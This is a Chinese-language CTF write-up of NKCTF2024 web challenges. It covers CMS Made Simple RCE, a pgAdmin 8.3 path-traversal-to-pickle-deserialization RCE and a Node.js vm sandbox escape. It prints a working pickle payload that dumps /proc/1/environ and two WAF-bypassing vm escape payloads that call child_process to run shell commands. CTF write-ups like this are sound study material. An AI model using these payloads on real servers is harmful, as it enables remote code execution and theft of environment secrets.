NKCTF2024
写在前面
还是体会到了自己的菜,很多题目没做出来。赛后看完 wp 之后发现本来很简单的点可是自己就是没想到。比如爆破密码,自己的字典是 admin123
但结果应该是Admin123
. 只能说可惜了,赛后好好复现好好学习吧。
Web(复现)
my first cms
可以看到是最新版 2.2.19 的 CMS Made Simple. 网上找了找发现有对应的 SSTI 的漏洞。(最后才发现其实不是这个,而应该是远程代码执行的洞)
应该是CVE-2024-27622
CMS Made Simple Version 2.2.19 - Remote Code Execution Exploit
第一步需要我们去以 admin 的身份登录,这里需要爆破密码。
最后密码应该是Admin123
然后就可以按照步骤进行命令执行了
attack_tacooooo
题目需要登录,根据提示以及题目描述猜测用户名密码为tacooooo@qq.com:tacooooo
登录进去后有版本信息是 v8.3 版本。
网上了找到漏洞复现的文章。
pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)
其实就是一个 pickle 反序列化,我们可以自己写脚本。
由于一开始尝试反弹 shell 一直弹不出来,所以最后就选择了写文件的方式。
import struct
import sys
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('cat /proc/1/environ > /var/lib/pgadmin/storage/tacooooo_qq.com/1.txt')",))
poc = A()
result = pickle.dumps(poc)
if __name__ == '__main__':
with open('posix.pickle', 'wb') as f:
f.write(result)
生成好文件后进行文件上传
然后最后查看 1.txt 文件即可。
全世界最简单的 CTF
F12 查看可以拿到源码
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
app.get('/', function (req, res){res.sendFile(__dirname + '/public/home.html');
})
function waf(code) {let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){console.log(e.message);
require('./hack');
}
})
app.get('/secret', function (req, res){if(process.__filename == null) {let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})
app.listen(3000, ()=>{console.log("listen on 3000");
})
分析源码
可以看出存在 vm 逃逸,之前没咋接触过这个知识点。所以找了篇文章恶补了一下
https://xz.aliyun.com/t/11859?time__1311=mqmx0DBD9DyDuBYD%2FQbiQQLPiq9Df280irD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F11859#toc-0
这里的 vm 逃逸很明显需要我们去抛出异常来执行代码。
至于 waf 的绕过,可以采用 replace
函数来绕过
throw new Proxy({}, {get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('cat /proc/1/environ > /var/www/1.txt').toString();}
})
最后写文件或者反弹 shell 都可。
或者由于题目对大小写敏感,也可以这么写 payload
throw new Proxy({}, {get: function(){
const cc = arguments.callee.caller;
const aa = 'return Process'.toLowerCase();
const bb = 'child_pRocess'.toLowerCase();
const p = (cc.constructor.constructor(aa))().mainModule.require(bb);
return Reflect.get(Reflect.get(p, Reflect.ownKeys(p).find(x=>x.startsWith('ex')))('ls'));
}
})
题目寄了,所以没法放打出 flag 的图了。。。